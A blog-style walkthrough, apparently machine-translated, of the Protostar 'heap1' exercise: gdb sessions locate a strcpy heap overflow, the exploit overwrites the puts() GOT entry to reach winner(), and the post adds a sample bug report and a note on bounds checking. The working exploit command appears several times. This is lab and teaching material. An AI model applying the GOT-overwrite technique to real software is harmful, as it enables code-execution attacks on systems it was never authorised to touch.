RNRF 2021. 11. 3. 00:56

21. The Heap: How to exploit a Heap Overflow - bin.0x15

: Content
-> Blackbox approach to heap1 binary
-> Exploiting while ignoring the heap
-> overwriting an entry on the GOT

: Let's make some assumptions before we practice.
-> I will be a security researcher who wants to find bugs to exploit first.(= Hacker)
-> Then we become developers trying to understand the exploit to solve the problem.(= security researcher)

: Let's do it from a hacker's point of view first.
-> gdb ./heap1
-> run
Starting program: /opt/protostar/bin/heap1

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x804a018 "", src=0x0) at strcpy.c:39
39      strcpy.c: No such file or directory.
        in strcpy.c
-> It was caused by "segfault" by "strcpy".
-> A string from address 0 to another address, and 0 is clearly not valid.
-> So there was a memory crash.
-> r AAAA
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 AAAA

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x804a038 "", src=0x0) at strcpy.c:39
39      strcpy.c: No such file or directory.
        in strcpy.c
-> I see a difference in address. In other words, it is a different kind of error.
-> r AAAA BBBB
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 AAAA BBBB
and that's a wrap folks!

Program exited with code 031.
-> This time, the program runs without errors.
-> run AAAABBBBCCCCDDDDEEEEFFFFGGGG 000011112222333344445555
Starting program: /opt/protostar/bin/heap1 AAAABBBBCCCCDDDDEEEEFFFFGGGG 000011112222333344445555

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>,
    src=0xbffff97b "000011112222333344445555") at strcpy.c:40
40      strcpy.c: No such file or directory.
        in strcpy.c
-> The target address does not appear to be valid this time because of "strcpy".
-> This tried to copy the string using the second argument, the number.
-> "F" is a hexadecimal code of “46”.
-> Whatever happened, we somehow overwritten the address and used it as a destination.
-> And this shows that we can use the first argument to completely control where we want to write.
-> And the second factor gives you a complete choice of what to write.
: For example, you can override the code execution by overwriting the return pointer in the stack, or overwrite the entries in the global offset table.
-> Let's use a more stable global offset table.
-> backtrace
#0  *__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>,
    src=0xbffff97b "000011112222333344445555") at strcpy.c:40
#1  0x0804855a in main (argc=3, argv=0xbffff824) at heap1/heap1.c:32
-> Back tracking the stack and stored by using the return can see the pointer.
-> When we find out where we are and find bugs that shred the stack, the reverse trace is no longer meaningful.
-> set disassembly-flavor intel
-> disassemble 0x0804855a
Dump of assembler code for function main:
0x080484b9 <main+0>:    push   ebp
0x080484ba <main+1>:    mov    ebp,esp
0x080484bc <main+3>:    and    esp,0xfffffff0
0x080484bf <main+6>:    sub    esp,0x20
0x080484c2 <main+9>:    mov    DWORD PTR [esp],0x8
0x080484c9 <main+16>:   call   0x80483bc <malloc@plt>
0x080484ce <main+21>:   mov    DWORD PTR [esp+0x14],eax
0x080484d2 <main+25>:   mov    eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>:   mov    DWORD PTR [eax],0x1
0x080484dc <main+35>:   mov    DWORD PTR [esp],0x8
0x080484e3 <main+42>:   call   0x80483bc <malloc@plt>
0x080484e8 <main+47>:   mov    edx,eax
0x080484ea <main+49>:   mov    eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>:   mov    DWORD PTR [eax+0x4],edx
0x080484f1 <main+56>:   mov    DWORD PTR [esp],0x8
0x080484f8 <main+63>:   call   0x80483bc <malloc@plt>
0x080484fd <main+68>:   mov    DWORD PTR [esp+0x18],eax
0x08048501 <main+72>:   mov    eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>:   mov    DWORD PTR [eax],0x2
0x0804850b <main+82>:   mov    DWORD PTR [esp],0x8
0x08048512 <main+89>:   call   0x80483bc <malloc@plt>
0x08048517 <main+94>:   mov    edx,eax
0x08048519 <main+96>:   mov    eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>:  mov    DWORD PTR [eax+0x4],edx
0x08048520 <main+103>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>:  add    eax,0x4
0x08048526 <main+109>:  mov    eax,DWORD PTR [eax]
0x08048528 <main+111>:  mov    edx,eax
0x0804852a <main+113>:  mov    eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>:  mov    eax,DWORD PTR [eax+0x4]
0x08048531 <main+120>:  mov    DWORD PTR [esp+0x4],edx
0x08048535 <main+124>:  mov    DWORD PTR [esp],eax
0x08048538 <main+127>:  call   0x804838c <strcpy@plt>
0x0804853d <main+132>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048540 <main+135>:  add    eax,0x8
0x08048543 <main+138>:  mov    eax,DWORD PTR [eax]
0x08048545 <main+140>:  mov    edx,eax
0x08048547 <main+142>:  mov    eax,DWORD PTR [esp+0x18]
0x0804854b <main+146>:  mov    eax,DWORD PTR [eax+0x4]
0x0804854e <main+149>:  mov    DWORD PTR [esp+0x4],edx
0x08048552 <main+153>:  mov    DWORD PTR [esp],eax
0x08048555 <main+156>:  call   0x804838c <strcpy@plt>
0x0804855a <main+161>:  mov    DWORD PTR [esp],0x804864b
0x08048561 <main+168>:  call   0x80483cc <puts@plt> # (puts(”string”);
0x08048566 <main+173>:  leave
0x08048567 <main+174>:  ret
End of assembler dump.
-> The entire function to which this address belongs is now disassembled.
-> Our address is "5 a" came "strcpy" because in later.
-> Then there's the "call" to put next.
-> The compiler replaced "printf" with "puts" for optimization.
-> Now overwrite the global offset table entry for "puts".
-> disassemble 0x80483cc
Dump of assembler code for function puts@plt:
0x080483cc <puts@plt+0>:        jmp    DWORD PTR ds:0x8049774
0x080483d2 <puts@plt+6>:        push   0x30
0x080483d7 <puts@plt+11>:       jmp    0x804835c
End of assembler dump.
-> This means the address of the "puts" global offset table entry.
-> x 0x8049774
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483d2
(4:11) -> This is the goal we intend to write, so we place it on the first point.
-> Execute "gdb" but "/bin/echo" using the backticks for the first argument.
-> Tips. "echo" simply prints the delivered as an argument.
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEEFFFF"`" 000011112222333344445555
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEEFFFF"`" 000011112222333344445555

Program received signal SIGSEGV, Segmentation fault.
*__GI_strcpy (dest=0x46464646 <Address 0x46464646 out of bounds>,
    src=0xbffff97b "000011112222333344445555") at strcpy.c:40
40      strcpy.c: No such file or directory.
        in strcpy.c
-> to get characters with hex values we can't type?
-> Echo the entire test string back to "F" to make sure that everything is working.
-> The echo inside the "backtick" is now executed and its output is placed inside.
-> The first argument is a double quotation mark, and the execution result gets the same "segfault" as before.
-> The next step is to replace "F" with the address of the "puts" global offset table.
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" 000011112222333344445555
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE  \x74\x97\x04\x08"`" 000011112222333344445555

Program received signal SIGSEGV, Segmentation fault.
0x30303030 in ?? ()
-> When we run it now we get some other "segfault" this time because of the "30303030".
-> "0x30303030" is the "ASCII" of "0000".
-> info registers
eax            0x8049774        134518644
ecx            0x0      0
edx            0x19     25
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff74c       0xbffff74c
ebp            0xbffff778       0xbffff778
esi            0x0      0
edi            0x0      0
eip            0x30303030       0x30303030 # instruction pointer
eflags         0x210246 [ PF ZF IF RF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
-> The register shows success.
-> The "eip" control allows you to redirect the code anywhere you want.
-> In this case, I want to "call" to "winner."
-> Let's check the address of "winner."
-> x winner
0x8048494 <winner>:     0x83e58955 # address of winner();
-> We therefore use "echo" in "backtick" to place it in a second argument instead of "argv[2]".
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" “`/bin/echo -ne “\x94\x84\x04\x08”`”
The program being debugged has been started already.
Start it from the beginning? (y or n) y

Starting program: /opt/protostar/bin/heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\04\x08"`"
and we have a winner @ 1572587122 # the message from winner();

Program exited with code 042.
-> You can execute it and get a winner's message.

-> ./heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\04\x08"`"
and we have a winner @ 1572587294 # the message from winner();
-> Works well outside of "gdb".

: In summary, it is possible to say.
-> Finding a bug by blackbox testing inputs.
-> Use “gdb” to identify the effects of the bug.
-> write anything anywhere.
-> Overwrite GOT puts() to redirect code.

: If you write a report for the developer.
-> Arbitrary code execution because of strcpy(Critical)
Hello,

I found this bug that allows me to redirect code execution in your heap1 program. Here is the proof of concept exploit that calls winners().

PoC: ./heap1 "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\04\x08"`"

As you can see I call heap1 with two arguments. The first one is pretty long. And somehow overwrites some address. While debugging I saw that it has to do something with strcpy. I hope this helps you to track down the issue.

Thanks and have a nice day~ LO.

: Now let's change sides and become developers.
-> Suppose you received the above e-mail from a friend who just found the bug in the program.
-> He offered proof of concept and exploit.
-> Now we can figure out why this happened and fix it.
-> Advice says you have to do something with "strcpy."
-> man strcpy
/bug
BUGS
   If the destination string of a strcpy() is not large enough,  then  any‐
   thing  might  happen.   Overflowing  fixed-length  string  buffers  is a
   favorite cracker technique for taking complete control of  the  machine.
   Any time a program reads or copies data into a buffer, the program first
   needs to check that there's enough space.  This may  be  unnecessary  if
   you  can  show that overflow is impossible, but be careful: programs can
     get changed over time, in ways that may make the impossible possible.
-> In fact, the manual told us what a bad idea was.
-> And now you can fix it.
-> For example, check the length before copying with "strncpy" or "strlen" and then execute.

: We should be able to see how the hip works in this program.
-> Let's see what it actually looks like.
-> For this purpose, breakpoints are set after each "malloc" and "strcpy".
-> 1. open heap1 in gdb
-> 2. disassemble main()
-> 3. set breakpoints after each function call
-> 4. run with POC exploit
-> gdb ./heap1
set disassembly-flavor intel
disassemble main
Dump of assembler code for function main:
0x080484b9 <main+0>:    push   ebp
0x080484ba <main+1>:    mov    ebp,esp
0x080484bc <main+3>:    and    esp,0xfffffff0
0x080484bf <main+6>:    sub    esp,0x20
0x080484c2 <main+9>:    mov    DWORD PTR [esp],0x8
0x080484c9 <main+16>:   call   0x80483bc <malloc@plt>
0x080484ce <main+21>:   mov    DWORD PTR [esp+0x14],eax
0x080484d2 <main+25>:   mov    eax,DWORD PTR [esp+0x14]
0x080484d6 <main+29>:   mov    DWORD PTR [eax],0x1
0x080484dc <main+35>:   mov    DWORD PTR [esp],0x8
0x080484e3 <main+42>:   call   0x80483bc <malloc@plt>
0x080484e8 <main+47>:   mov    edx,eax
0x080484ea <main+49>:   mov    eax,DWORD PTR [esp+0x14]
0x080484ee <main+53>:   mov    DWORD PTR [eax+0x4],edx
0x080484f1 <main+56>:   mov    DWORD PTR [esp],0x8
0x080484f8 <main+63>:   call   0x80483bc <malloc@plt>
0x080484fd <main+68>:   mov    DWORD PTR [esp+0x18],eax
0x08048501 <main+72>:   mov    eax,DWORD PTR [esp+0x18]
0x08048505 <main+76>:   mov    DWORD PTR [eax],0x2
0x0804850b <main+82>:   mov    DWORD PTR [esp],0x8
0x08048512 <main+89>:   call   0x80483bc <malloc@plt>
0x08048517 <main+94>:   mov    edx,eax
0x08048519 <main+96>:   mov    eax,DWORD PTR [esp+0x18]
0x0804851d <main+100>:  mov    DWORD PTR [eax+0x4],edx
0x08048520 <main+103>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048523 <main+106>:  add    eax,0x4
0x08048526 <main+109>:  mov    eax,DWORD PTR [eax]
0x08048528 <main+111>:  mov    edx,eax
0x0804852a <main+113>:  mov    eax,DWORD PTR [esp+0x14]
0x0804852e <main+117>:  mov    eax,DWORD PTR [eax+0x4]
0x08048531 <main+120>:  mov    DWORD PTR [esp+0x4],edx
0x08048535 <main+124>:  mov    DWORD PTR [esp],eax
0x08048538 <main+127>:  call   0x804838c <strcpy@plt>
0x0804853d <main+132>:  mov    eax,DWORD PTR [ebp+0xc]
0x08048540 <main+135>:  add    eax,0x8
0x08048543 <main+138>:  mov    eax,DWORD PTR [eax]
0x08048545 <main+140>:  mov    edx,eax
0x08048547 <main+142>:  mov    eax,DWORD PTR [esp+0x18]
0x0804854b <main+146>:  mov    eax,DWORD PTR [eax+0x4]
0x0804854e <main+149>:  mov    DWORD PTR [esp+0x4],edx
0x08048552 <main+153>:  mov    DWORD PTR [esp],eax
0x08048555 <main+156>:  call   0x804838c <strcpy@plt>
0x0804855a <main+161>:  mov    DWORD PTR [esp],0x804864b
0x08048561 <main+168>:  call   0x80483cc <puts@plt>
0x08048566 <main+173>:  leave
0x08048567 <main+174>:  ret
End of assembler dump.
-> Disassemble "main" and find all its calls, then set a break point.
->  break *0x080484ce # i1 = malloc(sizeof(struct internet));
->  break *0x080484e8 # i1->name = malloc(8);
->  break *0x080484fd # i2 = malloc(sizeof(struct internet));
->  break *0x08048517 # i2->name = malloc(8);
->  break *0x0804853d # strcpy(i1->name, argv[1]);
->  break *0x0804855a # strcpy(i2->name, argv[2]);
-> run "`/bin/echo -ne "AAAABBBBCCCCDDDDEEEE\x74\x97\x04\x08"`" "`/bin/echo -ne "\x94\x84\x04\x08"`"
Breakpoint 1, 0x080484ce in main (argc=3, argv=0xbffff834) at heap1/heap1.c:23
23      heap1/heap1.c: No such file or directory.
        in heap1/heap1.c
-> We reached the first break point.
-> Now the first "malloc" has occurred.
-> info registers
eax            0x804a008        134520840 # return value of malloc(); & i1 = malloc(sizeof(struct internet));
ecx            0xb7fd93a0       -1208118368
edx            0x804a000        134520832
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff760       0xbffff760
ebp            0xbffff788       0xbffff788
esi            0x0      0
edi            0x0      0
eip            0x80484ce        0x80484ce <main+21>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
-> So we are now in the assembly code and the result of "malloc" is "eax".
-> "eax" includes the address of the heap with sufficient space for the Internet structure.
-> x/2wx 0x804a008
0x804a008:      0x00000000      0x00000000
-> This address simply shows that it is ".
-> "info proc mappings" allows you to view memory segments and heap views.
-> info proc mappings
process 5142
cmdline = '/opt/protostar/bin/heap1'
cwd = '/opt/protostar/bin'
exe = '/opt/protostar/bin/heap1'
Mapped address spaces:

        Start Addr   End Addr       Size     Offset objfile
         0x8048000  0x8049000     0x1000          0        /opt/protostar/bin/heap1
         0x8049000  0x804a000     0x1000          0        /opt/protostar/bin/heap1
         0x804a000  0x806b000    0x21000          0           [heap]
        0xb7e96000 0xb7e97000     0x1000          0
        0xb7e97000 0xb7fd5000   0x13e000          0         /lib/libc-2.11.2.so
        0xb7fd5000 0xb7fd6000     0x1000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd6000 0xb7fd8000     0x2000   0x13e000         /lib/libc-2.11.2.so
        0xb7fd8000 0xb7fd9000     0x1000   0x140000         /lib/libc-2.11.2.so
        0xb7fd9000 0xb7fdc000     0x3000          0
        0xb7fe0000 0xb7fe2000     0x2000          0
        0xb7fe2000 0xb7fe3000     0x1000          0           [vdso]
        0xb7fe3000 0xb7ffe000    0x1b000          0         /lib/ld-2.11.2.so
        0xb7ffe000 0xb7fff000     0x1000    0x1a000         /lib/ld-2.11.2.so
        0xb7fff000 0xb8000000     0x1000    0x1b000         /lib/ld-2.11.2.so
        0xbffeb000 0xc0000000    0x15000          0           [stack]
-> x/64wx 0x804a000 # the heap
0x804a000:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a010:      0x00000000      0x00020ff1      0x00000000      0x00000000
0x804a020:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0f0:      0x00000000      0x00000000      0x00000000      0x00000000
-> Tips. It is recommended to add this heap output as a "gdb" hook.
-> Therefore, it can be checked automatically at each stop point.
-> define hook-stop
> x/64wx 0x804a000
> end
-> c
Continuing.          chunk header chunk data
0x804a000:      0x00000000      0x00000011      0x00000001      0x00000000 # return value of 1st malloc(): i1 & priority = 1
0x804a010:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a020:      0x00000000      0x00020fe1      0x00000000      0x00000000
0x804a030:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0f0:      0x00000000      0x00000000      0x00000000      0x00000000

Breakpoint 2, 0x080484e8 in main (argc=3, argv=0xbffff834) at heap1/heap1.c:25
25      in heap1/heap1.c
-> Let's check the hip.
-> We learned the "i1" variable pointer.
-> So this is where the structure starts and the first property is set to "1".
-> Before that, there is a chunk header, which is heap metadata, which contains length.
-> length: 0x11  => 0x10 = 16 bytes + 1 in use = 0x11
-> Now all we can do is define and address the variable "i1" in "gdb".
-> set $i1 = (struct internet*)0x804a008 # 0x804a000 + 8(bytes) = Location of "0x00000001"
-> print $i1
$1 = (struct internet *) 0x804a008
-> print *$i1
$2 = {priority = 1, name = 0x0}
-> Now we can print out this variable "i1" and "gdb" displays attribute priority and name.
-> Because memory has been allocated, it can be seen that the priority is "1" and the name is still "0".
-> No "i1" property name has yet been specified for the name.
-> The address of the name and "i2" are assigned when proceeding to the next break point.
-> c
Continuing.
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a020:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a030:      0x00000000      0x00020fd1      0x00000000      0x00000000
0x804a040:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0f0:      0x00000000      0x00000000      0x00000000      0x00000000

Breakpoint 3, 0x080484fd in main (argc=3, argv=0xbffff834) at heap1/heap1.c:27
27      in heap1/heap1.c
-> print *$i1
$3 = {priority = 1, name = 0x804a018 ""}
-> info registers
eax            0x804a028        134520872 # return value of malloc() for the “i2” struct.
ecx            0xb7fd93a0       -1208118368
edx            0x804a020        134520864
ebx            0xb7fd7ff4       -1208123404
esp            0xbffff760       0xbffff760
ebp            0xbffff788       0xbffff788
esi            0x0      0
edi            0x0      0
eip            0x80484fd        0x80484fd <main+68>
eflags         0x200246 [ PF ZF IF ID ]
cs             0x73     115
ss             0x7b     123
ds             0x7b     123
es             0x7b     123
fs             0x0      0
gs             0x33     51
-> The object has been assigned and the result of "malloc" is again "eax". 
-> It is the address of the object "i2".
-> Therefore, the variable "i2" may be defined in "gdb".
-> set $i2 = (struct internet*)0x804a028
-> print *$i2
$4 = {priority = 0, name = 0x0}
-> You can see that it is still empty when you print it.
-> print *$i1
$5 = {priority = 1, name = 0x804a018 ""}
-> Now we must set the priority of "i2" to "2".
-> c
Continuing.         priority         name
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a020:      0x00000000      0x00000011      0x00000002      0x00000000
0x804a030:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000 # Length
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0f0:      0x00000000      0x00000000      0x00000000      0x00000000

Breakpoint 4, 0x08048517 in main (argc=3, argv=0xbffff834) at heap1/heap1.c:29
29      in heap1/heap1.c
-> print *$i2
$6 = {priority = 2, name = 0x0}
-> When printing "i2" objects, all four "malloc"s were completed in heap memory.
-> There is one thing that we haven't talked about yet in the previous video.
-> The area of any mass after the mark.(0x00020fc1 = Length)
-> This number is the size of the rest of the heap.
-> These areas are all available memory, often referred to as exploitation terms.
-> All of this is basically a huge heap, and the number is length.
-> print *$i1
$7 = {priority = 1, name = 0x804a018 ""} # empty string
-> The name of the current "i1" is still an empty string
-> But this changes at the next stop. # strcpy(i1->name, argv[1]);
-> This is because it executes the first "strcpy".
-> c
Continuing.
0x804a000:      0x00000000      0x00000011      0x00000001      0x0804a018
0x804a010:      0x00000000      0x00000011    n 0x41414141      0x42424242
0x804a020:      0x43434343      0x44444444      0x45454545      0x08049774
0x804a030:      0x00000000      0x00000011      0x00000000      0x00000000
0x804a040:      0x00000000      0x00020fc1      0x00000000      0x00000000
0x804a050:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a060:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a070:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a080:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a090:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0a0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0b0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0c0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0d0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0e0:      0x00000000      0x00000000      0x00000000      0x00000000
0x804a0f0:      0x00000000      0x00000000      0x00000000      0x00000000

Breakpoint 5, main (argc=3, argv=0xbffff834) at heap1/heap1.c:32
32      in heap1/heap1.c
-> The first thing to notice is in hip memory.
-> The "ASCII" character appears and appears to have overwritten many stubs.
-> what earlier was supposed to be chunk header metadata, like the size is now "44444444".
-> Let's look at objects "i1" and "i2".
-> print *$i1
$8 = {priority = 1, name = 0x804a018 "AAAABBBBCCCCDDDDEEEEt\227\004\b"}
-> "i1" still has a priority "1" and a name.
-> How about “i2”?
-> print *$i2
$9 = {priority = 1162167621, name = 0x8049774 "҃\004\b"}
-> Strangely, priority is a very large number.
-> In fact, this is an "E" with a decimal "45454545”.
-> In fact, we overwritten the next chunks in the heap after the "i1" name.
-> print *$i2->name
$10 = -46 '\322'
->  print $i2->name
$11 = 0x8049774 "\004\b"
-> Now the next "strcpy" takes "i2->name" and points to bad memory and tries. # strcpy(i2->name, argv[2]);
-> x $i2->name
0x8049774 <_GLOBAL_OFFSET_TABLE_+36>:   0x080483d2 # “i2->name” points to the GOT.
-> Copy the second argument.

: As a result, this task shows one aspect of heap exploit.
-> It doesn’t attack the heap algorithms.
-> Application trusts in integrity of objects on the heap.
-> Modified an address on the heap to get a write anything anywhere primitive.